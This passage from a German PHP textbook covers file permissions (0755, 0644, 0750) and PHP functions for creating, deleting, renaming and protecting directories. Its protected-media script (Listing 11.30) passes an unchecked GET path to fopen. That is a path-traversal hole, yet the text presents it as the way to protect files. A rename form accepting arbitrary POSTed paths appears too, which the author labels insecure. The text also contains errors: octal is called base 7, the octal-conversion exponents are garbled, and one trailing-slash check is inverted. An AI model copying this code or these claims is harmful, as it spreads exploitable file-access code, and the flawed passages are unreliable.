                    Setzt man den rekursiv-Parameter auf true, so bedeutet das, dass sämtliche benötigten Verzeichnisse zum Anlegen unseres Wunschverzeichnisses auch gleich mit angelegt werden: ghi wird angelegt (bzw. alle weiteren nicht vorhandenen, aber benötigten Verzeichnisse werden angelegt). Mit anderen Worten: Sollte der zweite Stock des Hauses gebaut werden, aber der erste Stock existiert noch nicht, so wird eben zuerst der erste Stock gebaut.

                

                	
                    Setzt man den rekursiv-Parameter hingegen auf false, so scheitert der mkdir-Befehl: Das Wunschverzeichnis wird nicht angelegt.

                

            

            
                Ein Wort zu den »Rechten« auf Dateien und Verzeichnisse

                Nachdem nun so weit alles geklärt ist, widmen wir uns dem wichtigsten Thema beim Anlegen von Verzeichnissen: der Frage, wer alles auf das neue Verzeichnis Zugriff haben soll. Hierbei unterscheiden wir vier Kategorien:

                
                    	
                        Auf die Sonderrechte haben wir keinen Einfluss, weshalb wir diese gleich einmal außen vor lassen.

                    

                    	
                        Die Rechte des »Inhabers« stellen – mehr oder weniger – unsere Rechte dar, wobei das Wort »unsere« etwas unscharf ist: Genau genommen handelt es sich um die Rechte desjenigen Users, der auf dem Webserver »arbeitet«. Für uns ist es dennoch ausreichend zu sagen: »Das sind die Rechte, die wir unserem Webserver bzw. unserer Programmierung geben.«

                    

                    	
                        Die Rechte der Gruppe: Die Gruppe, in der sich der Inhaber befindet, erhält ebenfalls Rechte auf das Verzeichnis. Diese Gruppe dürfen wir uns jedoch nicht als Externe vorstellen, die mit unserer Website nichts zu tun haben, sondern als eine gedachte Gruppe, an die gemeinsame Rechte vergeben werden, um Benutzer besser organisieren und verwalten zu können.

                    

                    	
                        Die sonstigen Rechte bzw. in unserem Fall die Rechte des (Internet-)Users (bzw. allgemeiner gesprochen: der übrigen Systemnutzer) geben an, welche Rechte auf ein Verzeichnis ein Anfragender von extern hat (oder, mit anderen Worten, ein Client, der einen Request auf das jeweilige Verzeichnis stellt). Beachten Sie hierzu auch das Beispiel etwas weiter unten.

                    

                

                Jeder dieser vier Gruppen kann man nun unterschiedliche Rechte (auf Dateien wie auch auf Verzeichnisse) zuweisen: Diese Rechte unterscheidet man wie folgt und man weist jedem dieser Rechte einen Zahlenwert bzw. einen Buchstaben zu:

                
                    	
                        Ausführen (1 bzw. x für exexute): Im Fall von Verzeichnissen ist dieser Eintrag etwas speziell, da er das Betreten eines Verzeichnisses meint. Im Falle von Dateien wiegt das Ausführrecht schwerer, da man hiermit ein reales Ausführen (Starten) von ausführbaren Dateien (sogenannten executable Dateien) meint.

                    

                    	
                        Schreiben (2 bzw. w für write): Im Fall von Verzeichnissen meint man das Recht, Änderungen am Verzeichnis (in Hinblick auf den Verzeichnisinhalt, den Verzeichnisnamen oder auch das Recht auf Löschen) vornehmen zu dürfen; im Falle von Dateien gilt dies sinngemäß.

                    

                    	
                        Lesen (Wert 4 bzw. r für read): Im Fall von Verzeichnissen meint man das Auslesen von Verzeichnissen (sprich, das Darstellen des Inhalts), im Fall von Dateien das Lesen des Datei-Inhalts.

                    

                

                Eine recht anschauliche Erklärung für Verzeichnisrechte wäre diese, wenn man sich das Verzeichnis als Raum vorstellt, der von einer Person betreten werden soll:

                
                    	
                        Über das Recht 1 (Ausführen) gestattet man einer Person das Betreten des Raumes. Man legt ihr jedoch eine Augenbinde an, sodass sie nichts sehen kann. Nun ist die Person zwar im Raum, kann aber nichts tun, da sie nichts sieht.

                    

                    	
                        Über das Recht 2 (Schreiben) darf sie (blind) Änderungen am Verzeichnis selbst vornehmen (es umbenennen, löschen etc.).

                    

                    	
                        Über das Recht 4 (Lesen) wird ihr die Augenbinde abgenommen, und sie darf nun auch den Inhalt des Verzeichnisses sehen.

                    

                

                
                    [Info]   Oktale Werte

                    Die minimalen Rechte (je Kategorie) liegen demnach beim (numerischen) Wert 0, die maximalen Rechte bei 7. Weil die Ziffern 8 und 9 nicht benötigt werden, greift man auf das oktale Zahlensystem zurück, das die Basis 7 hat. Aus diesem Grund spricht man auch von einem »vierstelligen oktalen Wert« für die Vergabe von Rechten.

                    Eine Umrechnung vom oktalen in das dezimale Zahlensystem ist natürlich möglich:

                    0755 = 0×83+7×82+5×81+5×80 = 0+7×64+5×8+5 = 448+40+5 = 493.

                    Sollten Sie also auf Rechtewerte stoßen, die nicht 0755, sondern 493 lauten, dann können Sie zumeist davon ausgehen, dass Ihnen die Rechte nicht im oktalen, sondern im dezimalen Zahlensystem dargestellt werden.

                

                Wenn Sie also ein Verzeichnis anlegen, benötigen Sie für die vier oben genannten Gruppen jeweils die Angabe der Rechte, die sich aus der Addition der Zahlenwerte zusammensetzt. Nehmen wir nun den konkreten Fall an, dass wir Rechte für ein Verzeichnis vergeben wollen, das wir im Begriff sind anzulegen:

                
                    	
                        Über die Sonderrechte haben wir keine Macht bzw. wir haben kein Recht zur Vergabe von Sonderrechten, weshalb sich automatisch der Wert 0 ergibt. (Egal, was Sie tun oder versuchen: Die Sonderrechte sind immer 0.)

                    

                    	
                        Die Rechte des Inhabers sollten bei Verzeichnissen immer so gesetzt werden, dass der Inhaber (also wir) ein Lese-, Schreib- und Ausführrecht bekommt. Somit ergibt sich: 4 (Lesen) + 2 (Schreiben) + 1 (Ausführen) = 7.

                    

                    	
                        Die Rechte der Gruppe des Inhabers sollten so gesetzt werden, dass Mitglieder dieser Gruppe ein Lese- und Ausführrecht, aber kein Schreibrecht erhalten: 4 + 1 = 5.

                    

                    	
                        Selbiges gilt für die Rechte des (Internet-)Users: Lesen und Ausführen ja, Schreiben nein: 4+1 = 5.

                    

                

                Somit ergeben sich die Rechte zu 0755. Dies sind die Standardrechte, die man für neue Verzeichnisse vergibt. Abbildung 11.37 verdeutlicht das Prinzip.

                
                    [image: Die Standardrechte für neue Verzeichnisse sind 0755 (oder ---rwxr-xr-x).]

                    Abbildung 11.37    
            Die Standardrechte für neue Verzeichnisse sind 0755 (oder ---rwxr-xr-x).

                
                Im Falle der Dateirechte ist die Situation ähnlich, jedoch etwas restriktiver: Hier möchte man generell vermeiden, dass Dateien ausgeführt werden können. Das ist auf der Serverseite an sich zwar schwer möglich (einerseits müsste die ausführbare Datei zum serverseitigen Betriebssystem passen und andererseits müsste ein Ausführkommando initiiert werden), aber um auf Nummer sicher zu gehen, vergibt man generell keine Ausführrechte auf Dateien. Damit ergeben sich die typischen Dateirechte zu 0644 (siehe Abbildung 11.38).

                
                    [image: Die etwas restriktiveren (typischen) Dateirechte: 0644 bzw. ---rw-r--r--]

                    Abbildung 11.38    
            Die etwas restriktiveren (typischen) Dateirechte: 0644 bzw. ---rw-r--r--

                
                
                    Und die Rechte des Internet-Users?

                    Spannend wird eine Überlegung zu Rechten dann, wenn man über den Internet-User (respektive den Browser, den dieser benutzt) nachdenkt, denn auch ihm müssen wir Rechte zuweisen. Jetzt ist es jedoch so, dass unser User ja gar keinen direkten Zugriff auf den Server haben kann, weil er ja zu Hause oder im Büro oder irgendwo sitzt und auf unsere Website zugreift. Und selbst mit dem Zugriff ist es ja so eine Sache: In Wahrheit stellt der Browser, den der User benutzt, einen Request an unseren Server. Somit sprechen wir offensichtlich von den Rechten, die ein entferntes System (wie eben ein Browser) auf das Verzeichnis hat, und nicht vom User selbst. Das macht einen Unterschied, wenn man etwa bedenkt, dass ein solches entferntes System auch ein Crawler oder ein Hacker (mit seinen automatisierten Abfragen) sein kann. So, und nun sieht die Sache schon etwas anders aus!

                    Gehen wir ein wenig ins Detail, was denn im Fall eines guten und netten Users genau vor sich geht:

                    
                        	
                            Unser lieber User möchte eine Website betrachten, in die beispielsweise Bilder eingebettet sind (was ja in der Regel bei fast jeder Website vorkommt). Er tippt also die URL in die Adresszeile ein (beispielsweise www.orf.at), drückt die (¢)-Taste und weist seinen Browser an, einen Request auf den Server zu stellen, was dieser nach der üblichen Namensauflösung auch tut.

                        

                        	
                            Der Server erhält den Request, sieht, dass hier gar kein spezielles Dokument gemeint ist, sucht im Regelfall das Standarddokument heraus (die Homepage, die index.html, index.php oder so ähnlich heißt), generiert den HTML-Code und liefert diesen an den Client als seinen Response zurück.

                        

                        	
                            Der Client empfängt den HTML-Code aus dem Response des Servers und fängt an, die Seite aufzubauen. Wie der Zufall es will, beinhaltet dieser HTML-Code den Verweis auf ein Bild: <img src="medien/fotos/urlaub.jpg" ...>. Der Client muss den Server also erneut kontaktieren (einen Request stellen), um den Inhalt dieses Bildes zu erhalten. Zur Erinnerung: Das <img> beinhaltet über das src-Attribut lediglich den Verweis auf das Bild, nicht jedoch den Bildinhalt selbst. Dieser muss erst angefragt oder gegebenenfalls aus dem Cache geladen werden.

                        

                        	
                            Der Server erhält nun wieder einen Request vom Client, aber diesmal auf ein ganz konkretes Dokument: medien/fotos/urlaub.jpg. Nun beginnt die Arbeit für den Server:

                            
                                	
                                    Er muss prüfen, ob ein Client die notwendigen Rechte hat, das Verzeichnis medien/fotos zu betreten: Hierfür benötigt der Client das Recht 1.

                                

                                	
                                    Danach muss der Server prüfen, ob er dem Client dann auch die gewünschte Datei heraussuchen darf: Hierfür benötigt ein Client das Recht 4, also das Auslesen eines Verzeichnisinhalts. Ist dieses Recht nicht vorhanden, so dürfte ein Client zwar das Verzeichnis medien/fotos betreten, er dürfte den Inhalt der Datei urlaub.jpg jedoch nicht erhalten, da er über kein Leserecht verfügt.

                                

                            

                            Sie sehen also, dass ein Client zumindest über das Recht 5 auf ein Verzeichnis verfügen muss, um von dort Dateien abzufragen. Was wir jedoch noch nicht geklärt haben, ist die Frage, ob ein Client auch das Recht auf die Datei hat, denn theoretisch könnte ja noch immer der Fall auftreten, dass die eine spezielle Datei für den User gesperrt wurde:

                            
                                	
                                    Zuletzt prüft der Server noch die Rechte eines Clients auf diese Datei: Hier ist das Recht 4 (Inhalt der Datei lesen) ausreichend.

                                

                            

                        

                        	
                            Sind alle Rechte vorhanden, liefert der Server nun den Inhalt der Datei zurück. Ist dies jedoch nicht der Fall, erhält der Client vom Server einen Fehlercode 403.

                        

                        	
                            Nachdem der Server geantwortet hat, kann der Client nun die Daten (oder den Fehler) entgegennehmen und das Bild darstellen (bzw. eben nicht, wenn ein Fehlercode gesendet wurde).

                        

                    

                
                
                    Verzeichnisschutz mit 0750 für »sensible Daten«

                    So, nun wissen Sie aber auch eines: nämlich die Antwort auf die Frage, wie man Verzeichnisse gegenüber einem clientseitigen Zugriff (also einem Zugriff »über das Internet«) schützen kann. Die Antwort lautet: Man vergibt für das Verzeichnis die Rechte 0750, was ja so viel bedeutet wie:

                    
                        	
                            keine Sonderrechte

                        

                        	
                            alle Rechte für den Inhaber

                        

                        	
                            Lese- und Ausführrechte für die Gruppe

                        

                        	
                            keine sonstigen Rechte, also keine Rechte für den Internet-User

                        

                    

                    Derartige Rechte vergibt man gerne für Verzeichnisse, in denen sensible Daten wie Konfigurationsdateien o. Ä. abgelegt werden, in denen sich wiederum (verschlüsselte?) Zugangsdaten für beispielsweise einen Datenbankzugriff befinden.

                    Kommen wir nun zurück zum Anlegen von Verzeichnissen. Der typische Befehl sieht demnach wie folgt aus:

                    $ok = mkdir("../abc/def/ghi/jkl",0755);


                    Wie wir wissen, liefert der Befehl mkdir als Ergebnis den Wert true oder false zurück, falls oder falls nicht das Verzeichnis erfolgreich angelegt werden konnte. Jedoch würde dieser Befehl, sofern etwas nicht geklappt hat, zusätzlich ein Warning auf dem Bildschirm des User ausgeben. Das ist im Allgemeinen jedoch nicht erwünscht, da es den User verwirrt. (Nur wenige User können mit Fehler- und Warnmeldungen wirklich etwas anfangen.) Warnings können Sie aber mit einem @-Zeichen unterdrücken, das Sie vor einen solchen Befehl setzen:

                    $ok = @mkdir("../abc/def/ghi/jkl",0755);


                    Würde nun ein Warning auftreten, so würde es auf dem Bildschirm nicht dargestellt werden (es würde unterdrückt werden), aber in der Variablen $ok steht dennoch ein false. Somit müssen wir beim Programmieren nun den Inhalt von $ok prüfen und entsprechend eine Erfolgs- oder Misserfolgsmeldung generieren:

                    $ok = @mkdir("../abc/def/ghi/jkl",0755);
if($ok) { $msg = '<p class="success">Anlegen erfolgreich.</p>'; }
else { $msg = '<p class="error">Anlegen fehlgeschlagen</p>'; }
...
echo($msg);


                    
                        [»]  Verzeichniserstellung nach User-Eingabe

                        Selbstverständlich wäre es möglich, das gewünschte Verzeichnis auch nach einer User-Eingabe anzulegen, indem man einem User ein entsprechendes Formular bereitstellt, in das er den Namen für das Verzeichnis eingeben kann. Beachten Sie jedoch, dass hier Gefahr im Verzug ist, da Sie als Programmierer*in in weiterer Folge keinerlei (oder nur wenig) Einfluss auf das haben, was ein User auf einer Website so tut bzw. – in unserem Fall – welche Verzeichnisse er anlegt.

                        Aus diesem Grund lässt man das Anlegen von Verzeichnissen üblicherweise nur in einem geschützten Bereich zu, in den sich User einloggen müssen und in dem sie somit auch ein entsprechendes User-Konto haben. Beispiele hierfür wären etwa ein Cloudstorage-System oder eine Dateiablage.

                    

                
            
        
        
            11.14.3    Bestehende Verzeichnisse löschen

            Der Befehl zum Löschen eines Verzeichnisses ist im Prinzip sehr einfach, da lediglich der Pfad zum Verzeichnis bekannt sein muss. Jedoch liegt die Krux im Detail, denn das Verzeichnis muss leer sein, damit es gelöscht werden kann.

            Aber werfen wir zunächst einen Blick auf den Befehl zum Löschen eines Verzeichnisses (rm steht für remove, deshalb auch der Name Remove Directory):

            rmdir("Pfad zum Verzeichnis")

            Der Befehl liefert einen booleschen Wert (true | false) zurück, der angibt, ob oder ob nicht das Verzeichnis erfolgreich gelöscht werden konnte.

            So, nun zurück zu unserem Problem: Bevor wir ein Verzeichnis löschen, müssen wir den Inhalt des Verzeichnisses loswerden, und das bedeutet folgende Strategie:

            
                	
                    Wir lesen den Inhalt des Verzeichnisses aus. Hierbei hilft uns der bereits bekannte Befehl scandir, der den Inhalt des Verzeichnisses in ein Array einliest (bzw. die Namen der darin befindlichen Dateien, Verzeichnisse und Verlinkungen).

                

                	
                    Jede gefundene Datei und jede gefundene Verlinkung kann sofort gelöscht werden, was wir mithilfe des Befehls unlink("Pfad/zur/DateiVerlinkung") erreichen können.

                

                	
                    Stoßen wir jedoch auf ein Verzeichnis, so beginnt das Spiel (mit Schritt 1 aus dieser Liste) von Neuem.

                

                	
                    Ist das Verzeichnis schlussendlich dann leer, können wir den eigentlichen Befehl rmdir auf das Verzeichnis anwenden.

                

            

            Offensichtlich benötigen wir aufgrund von Schritt 3 also eine Rekursion, die sich Schritt für Schritt durch die Unterverzeichnisse arbeitet. Der folgende Code zeigt eine solche Funktion, die bei ihrem Aufruf die obigen Schritte ausführt. (In dieser Funktion wird auch geprüft, ob das zu löschende Verzeichnis auch tatsächlich existiert: Dies erfolgt über den Befehl file_exists, der gleichermaßen für Dateien, wie auch für Verzeichnisse und Verlinkungen verwendet werden kann.)

            function loescheVZ(string $pfad):bool {
  $r = true; //diese Variable speichert den Rückgabewert der Funktion
  if(file_exists($pfad)) {
    $inhalt = scandir($pfad); //Schritt 1: Inhalt lesen
    foreach($inhalt as $eintrag) {
      if($eintrag!="." && $eintrag!="..") {
        if(is_dir($pfad . $eintrag)) {
          $r = $r && loescheVZ($pfad . $eintrag . "/");
        }
        else {
          $r = $r && @unlink($pfad . $eintrag);
        }
      }
    }
    $r = $r && @rmdir($pfad);
  }
  return $r;
}


            Listing 11.27    
            Eine Funktion zum Löschen eines Verzeichnisses samt aller Unterverzeichnisse und Dateien bzw. Verlinkungen

            Die Funktion selbst muss dann lediglich noch aufgerufen werden. Der Übergabewert an die Funktion stellt dann den Pfad zum zu löschenden Verzeichnis dar:

            loescheVZ("a/b/c/");


            Beachten Sie bitte, dass unsere Funktion loescheVZ erwartet, dass der Pfad zu einem Verzeichnis inklusive abschließendem Schrägstrich angegeben wird. In der Praxis sollten Sie innerhalb der Funktion noch prüfen, ob dies auch tatsächlich der Fall ist. Sie müssten also prüfen, ob das letzte Zeichen des übergebenen Wertes ein Schrägstrich ist. Der Schrägstrich selbst ist nichts anderes als das Trennzeichen von Verzeichnissen, weshalb es in PHP eine vordefinierte Konstante gibt: DIRECTORY_SEPARATOR. (Anmerkung: Man kann sich als Entwickler ja nie ganz sicher sein, wie die Verzeichnisse voneinander getrennt wären.) Unsere Funktion sieht dann so aus:

            function loescheVZ(string $pfad):bool {
  ...
  if(substr($pfad,-1)==DIRECTORY_SEPARATOR) {
    $pfad.= DIRECTORY_SEPARATOR;
  }
  if(file_exists($pfad)) {
    ...
  }
  ...
}


        
        
            11.14.4    Bestehende Verzeichnisse und Dateien umbenennen bzw. verschieben

            Es mag auf den ersten Blick verwirrend sein: Das Verschieben bzw. das Umbenennen von Verzeichnissen, Dateien und Verlinkungen ist ein und dasselbe. Der Grund liegt in der Art und Weise, wie solche Elemente im Rahmen des Betriebssystems abgelegt werden: als Pfade. Mit anderen Worten (und etwas vereinfacht dargestellt), wir verschieben mit diesem Befehl nichts, sondern ändern einfach den Pfad – wir benennen den Pfad also um. Verwendet wird hierfür der Befehl rename, der von uns zwei Informationen fordert:

            
                	
                    den Namen des Pfades, den wir verschieben bzw. umbenennen wollen

                

                	
                    den Namen des neuen Pfades

                

            

            Wie Sie auch hier sehen, handelt es sich beim Umbenennen nicht um ein Umbenennen eines Verzeichnisses (oder einer Datei), sondern um das Umbenennen eines Pfades. Daraus ergibt sich eben, dass mithilfe dieses Befehls auch Verzeichnisse (und Dateien) verschoben werden können.

            Hier sehen Sie ein paar Beispiele:

            
                	
                    rename("a/b/c", "a/b/d") → Das Verzeichnis c wird in d umbenannt.

                

                	
                    rename("a/b/c", "a/c") → Das Verzeichnis c wird nicht umbenannt, jedoch in das Verzeichnis a verschoben.

                

                	
                    rename("a/b/c", "a/x") → Das Verzeichnis c wird in x umbenannt und in das Verzeichnis a verschoben.

                

            

            
                [»]  Das Verschieben ist nur in existierende Verzeichnisse möglich

                Bei dem Versuch, ein Verzeichnis zu verschieben, müssen Sie daran denken, dass das Zielverzeichnis, in das verschoben werden soll, natürlich existieren muss. Gehen Sie beispielsweise davon aus, dass ein Verzeichnis a/e nicht existiert, so kann folgender Befehl auch nicht ausgeführt werden:

                rename("a/b/c", "a/e/c");

            

            Eine sehr einfache Variante zum Umbenennen von Verzeichnissen wäre etwa das folgende Beispiel, in dem der User zwei Textfelder erhält, um einerseits den bestehenden und andererseits den neuen Pfad eingeben zu können:

            ...
<?php
$msg = "";
 
if(count($_POST)>0) {
  $ok = @rename($_POST["PfadAlt"],$_POST["PfadNeu"]);
  if($ok) { $msg = '<p class="success">Umbenennen erfolgreich</p>'; }
  else { $msg = '<p class="error">Umbenennen fehlgeschlagen</p>'; }
}
?>


            ...


            <?php echo($msg); ?>


            <form method="post">
  <input type="text" name="PfadAlt" required>
  <input type="text" name="PfadNeu" required>
  <input type="submit" value="umbenennen">
</form>
...


            Listing 11.28    
            Ein einfaches Formular zum Umbenennen von Verzeichnissen

            Selbstverständlich kommt ein solches Beispiel in der Praxis nicht vor – es wäre viel zu unsicher, es dem User zu ermöglichen, beliebige Pfade umzubenennen. Dieses Beispiel soll lediglich den Prozess des Umbenennens darstellen.

            Ein etwas ausführlicheres Beispiel sehen Sie unten in Listing 11.28. Hier wird zunächst der Verzeichnisbaum ausgegeben, der sich im Verzeichnis der aktuellen Datei ergibt. Bei einem Klick auf einen Verzeichnisnamen wird dieser über den Aufruf der JS-Funktion setzeVZPfadInFeld in das Textfeld mit dem Namen PfadAlt eingesetzt. So muss der User nicht mehr selbstständig den Verzeichnispfad eingeben.

            Beachten Sie bitte die Generierung des klickbaren Elements mittels PHP, und zwar insbesondere die Verwendung der Anführungszeichen:

            
                	
                    Die einfachen Anführungszeichen werden für den echo-Befehl verwendet.

                

                	
                    Die doppelten Anführungszeichen werden für das onclick verwendet.

                

            

            Weil jedoch bei einem Klick die oben genannte Funktion aufgerufen werden soll, an die ein String (der Pfad) übergeben werden muss, gehen uns die Anführungszeichen aus. Ein Ausweg aus diesem Problem ist der Einsatz von Anführungszeichen mit einem sogenannten Escape-Zeichen – dem Backslash \. Ein »ausescaptes« Anführungszeichen (siehe Markierungen) wird in weiterer Folge bei der Ausgabe in den Ausgabestrom durch ein normales Anführungszeichen (hier: ein einfaches Anführungszeichen) ersetzt.

            echo('
  <li>
    <span onclick="setzeVZPfadInFeld(\'' . $auszulesendesVZ . $eintrag .  
'\');">' . $eintrag . '</span>
');
...
echo('</li>');


            Die Ausgabe des entsprechenden HTML-Codes im Quelltext sieht dann wie gewohnt aus:

            <li>
  <span onclick="setzeVZPfadInFeld('./bilder/testordner/b');">b</span>
</li>


            Der vollständige Code ist hier dargestellt:

            <?php
function verzeichnisse_show(string $auszulesendesVZ):string {
  $r = "";
  if(substr($auszulesendesVZ,-1)!=DIRECTORY_SEPARATOR) {
    $auszulesendesVZ.= DIRECTORY_SEPARATOR;
  }
  if(file_exists($auszulesendesVZ)) {
    $inhalt = scandir($auszulesendesVZ);
    $r = '<ul class="dir">';
    foreach($inhalt as $eintrag) {
      if($eintrag!="." && $eintrag!=".." && is_dir($auszulesendesVZ . ↩ $eintrag)) {
        $pfad = $auszulesendesVZ . $eintrag;
        $r.= '
          <li>
            <span class="click" onclick="setzeVZPfadInFeld(\'' . ↩ $auszulesendesVZ . '\',\'' . $eintrag . '\');">' . $eintrag . '</span>' . ↩ verzeichnisse_show($auszulesendesVZ . $eintrag . "/") . '
          </li>
        ';
      }
    }
    $r.= '</ul>';
  }
  return $r;
}
 
$msg = "";
if(count($_POST)>0) {
  $pfad = trim($_POST["pfad"]); //Hilfsvariable
  $dirname_alt = trim($_POST["dirname_alt"]); //Hilfsvariable
  $dirname_neu = trim($_POST["dirname_neu"]); //Hilfsvariable
  if(
    file_exists($pfad.$dirname_alt) &&
    !file_exists($pfad.$dirname_neu) &&
    strlen($dirname_neu)>0 &&
    strpos($dirname_neu,DIRECTORY_SEPARATOR)===false
  )
  {
    $ok = rename($pfad.$dirname_alt,$pfad.$dirname_neu);
    if($ok) {
      $msg = '<p class="success">Das Verzeichnis wurde erfolgreich ↩ umbenannt.</p>';
    }
    else {
      $msg = '<p class="error">Das Verzeichnis konnte leider nicht umbenannt ↩ werden.</p>';
    }
  }
}
?>


            <!DOCTYPE html>
<html lang="de">
  <head>
    <meta charset="UTF-8">
    <title>Dateien & Verzeichnisse</title>
    <style>


                .H {
      display:none;
    }


                </style>
    <script src="../../includes/js/jquery-3.6.4.min.js"></script>
    <script>


                function setzeVZPfadInFeld(pfad,dirname_alt) {
      $("[name=pfad]").val(pfad);
      $("[name=dirname_alt]").val(dirname_alt);
      $("[name=dirname_neu]").val(dirname_alt); 
      //bisherigen Namen ins Formularfeld
      $("form").removeClass("H"); //blendet das Formular ein
    }


                </script>
  </head>
  <body>


                <?php echo($msg); ?>


                <p class="info">Bitte wählen Sie durch Klicken ein Verzeichnis aus, das ↩ Sie umbenennen wollen:</p>
    <?php echo(verzeichnisse_show("beispielvz/")); ?>
    <form method="post" class="H">
      <input type="hidden" name="pfad">
      <input type="hidden" name="dirname_alt">
      <label>
        Bitte geben Sie den neuen Pfad ein:
        <input type="text" name="dirname_neu" required>
      </label>
      <input type="submit" value="umbenennen">
    </form>
  </body>
</html>


            Listing 11.29    
            Ein etwas ausführlicheres Beispiel zum Auslesen und Umbenennen von Verzeichnissen

            Gehen wir kurz auf die wesentlichen Teile ein: Zunächst betrachten wir den HTML-Code, in dem sich ein Formular befindet, das zunächst einmal ausgeblendet ist (die CSS-Klasse H beherbergt ein display:none;). Hierin befinden sich zwei versteckte Formularfelder: ein Feld für den Pfad zum umzubenennenden Verzeichnis (name="pfad") und ein Feld für den bisherigen Namen des Verzeichnisses (name="dirname_alt"). Das für den User zugängliche Eingabefeld ist dasjenige mit name="dirname_neu".

            Die PHP-Funktion verzeichnisse_show zeigt den Verzeichnisinhalt ausgehend von einem Übergabeparameter $auszulesendesVZ (bzw. generiert den HTML-Code in Form einer HTML-Liste, die danach im <body> ausgegeben wird). In diesem Code werden auch die wie zuvor beschriebenen Klick-Elemente mit hinterlegtem JavaScript-Aufruf erzeugt. Bei einem Klick auf einen solchen Link wird die JavaScript-Funktion setzePfadInFeld aufgerufen, die daraufhin die übergebenen Werte in die beiden versteckten Formularfelder sowie den ursprünglichen (und bis dato noch aktuellen) Verzeichnisnamen in das Eingabefeld schreibt. Danach wird das Formular eingeblendet.

            Sobald der User das Formular abgeschickt hat, wird überprüft, ob

            
                	
                    das alte Verzeichnis (noch) existiert,

                

                	
                    das neue Verzeichnis noch nicht existiert,

                

                	
                    der neue Verzeichnisname nicht leer ist (nachdem führende und folgende Leerzeichen mittels trim entfernt wurden) und ob

                

                	
                    sich keine Schrägstriche im Verzeichnisnamen befinden (wodurch Unterverzeichnisse gemeint sein könnten – siehe hierzu Kapitel 13, »1984 und Big Brother – Sicherheitsaspekte«).

                

            

            Sind sämtliche Voraussetzungen erfüllt, so wird das Verzeichnis umbenannt und eine entsprechende Meldung für den User generiert (siehe Abbildung 11.39).

            
                [image: Der User hat das Verzeichnis »f22« ausgewählt und sich für den neuen Namen »f37abc« entschieden. Nach dem Abschicken des Formulars (und entsprechenden Überprüfungen) wurde »f22« in »f37abc« umbenannt.]

                Abbildung 11.39    
            Der User hat das Verzeichnis »f22« ausgewählt und sich für den neuen Namen »f37abc« entschieden. Nach dem Abschicken des Formulars (und entsprechenden Überprüfungen) wurde »f22« in »f37abc« umbenannt.

            
        
        
            11.14.5    Nicht für alle bestimmt – Dateien und Verzeichnisse schützen

            Ich hatte es zuvor bereits einmal erwähnt, aber nun möchte ich noch etwas genauer auf das Schützen von Dateien und Verzeichnissen eingehen. An sich ist das kein größeres Problem, da sich die Maßnahmen in der Regel auf das Setzen von Berechtigungen (auf Verzeichnisse und Dateien) beschränken. Möchten Sie beispielsweise Verzeichnisse (oder auch Dateien – dies gilt in der Regel synonym) vor einem externen Zugriff schützen, so reicht es aus, die Berechtigungen der sonstigen User auf den Wert 0 (keine Lese-, Schreib- oder Ausführungsrechte) zu setzen:

            
                	
                    Verzeichnisse: 0750

                

                	
                    Dateien: 0640

                

            

            Problematischer wird die Angelegenheit, wenn Sie beispielsweise Dateien aus solchen geschützten Verzeichnissen gewissen Usern zur Verfügung stellen möchten. An dieser Stelle eröffnen sich grundsätzlich zwei Wege:

            
                	
                    Das Verzeichnis wird nicht gegen einen externen Zugriff gesichert, aber der gesamte Inhalt der dort gespeicherten Dateien wird verschlüsselt. Berechtigte User erhalten einen Schlüssel zum Dekodieren der Daten.

                

                	
                    Das Verzeichnis wird gegen einen Zugriff von extern gesichert; berechtigte User erhalten die Daten auf einem anderen Wege bzw. durch ein anderes (serverseitiges) Verfahren bereitgestellt.

                

            

            In aller Regel verwendet man die zweite Methode: Ein Verzeichnis samt seinem Inhalt wird mithilfe der Verzeichnisberechtigung 0750 gegen einen Zugriff von extern gesichert; dort gespeicherte Dateien werden serverseitig abgeholt und dem User übermittelt.

            Der Schritt, um die Berechtigungen zu setzen, stellt kein Problem dar, das zugehörige Verfahren jedoch schon. Beispielsweise würde sich das Darstellen von Bildern, die nur berechtigte User sehen dürfen, wie folgt abspielen:

            
                	
                    Der User (die Website) ruft im HTML-Code keine eigentliche Bilddatei auf, sondern eine PHP-Datei, die in weiterer Folge ein Bild zurückliefert:

                    <img src="mediendatei.php?pfad=images/geschuetzt/abc.jpg" ...>


                

                	
                    Die zugehörige PHP-Datei prüft (beispielsweise auf Basis von Session-Daten eines eingeloggten Users) die entsprechenden Berechtigungen.

                

                	
                    Bei entsprechenden Berechtigungen wird der Inhalt der Bilddatei (hier: images/geschuetzt/abc.jpg) mittels PHP eingelesen und entsprechend ausgelesen.

                

            

            Mit anderen Worten, die PHP-Datei mediendatei.php muss schlussendlich Daten vom Content-Typ image/* zurückliefern. Im Falle von Bildern würde dies etwa wie folgt aussehen:

            ...
if(isset($_SESSION["eingeloggt"]) && $_SESSION["eingeloggt"]==1) {
  $bildpfad = $_GET["pfad"];
}
else {
  //Fehlerbild für den Fall, dass der User keine Berechtigungen besitzt
  //da er nicht eingeloggt ist
  $bildpfad = "images/error.jpg"; 
}
header("Content-Type: " . mime_content_type($bildpfad));
header("Content-Length: " . filesize($bildpfad));
$data = fopen($bildpfad,"rb");
fpassthru($data);
exit();


            Listing 11.30    
            Mediendaten bereitstellen, die in geschützten Verzeichnissen abgelegt sind

            Als Erweiterung würden Sie idealerweise den Bildpfad auch im HTML-Code verstecken, indem Sie ihn entsprechend verschlüsseln und später wieder entschlüsseln:

            
                	
                    Möchten Sie den String nur unlesbar machen, so können Sie eine base64-Kodierung verwenden. (Diese Kodierung ist jedoch als solche erkennbar und kann deshalb von findigen Hackern sehr leicht wieder dekodiert werden. Sicher gegenüber unerwünschter Entschlüsselung ist diese Methode also nicht!)

                

                	
                    Möchten Sie hingegen, dass der Pfad sicher verschlüsselt wird, so müssen Sie zu Verschlüsselungsmethoden wie AES o. Ä. greifen (siehe hierzu Abschnitt 13.6).

                

            

            Die Vorgehensweise ist in beiden Fällen gleich, weshalb ich sie hier auf Basis von base64 skizziere. Im ersten Schritt wird der Pfad zur Bilddatei im HTML-Code kodiert:

            ...
<?php
$bildpfad = "images/geschuetzt/abc.jpg";
$bildpfad_kodiert = base64_encode($bildpfad);
?>


            <img src="mediendatei.php?pfad=<?php echo($bildpfad_kodiert); ?>" ...>
...


            Im zweiten Schritt wird innerhalb der Datei mediendatei.php der base64-kodierte GET-Parameter entgegengenommen und wieder entschlüsselt:

            ...
if(isset($_SESSION["eingeloggt"]) && $_SESSION["eingeloggt"]==1) {
  $bildpfad = base64_decode($_GET["pfad"]);
}
...


        
    


                    
                        
        11.15    Bilder skalieren

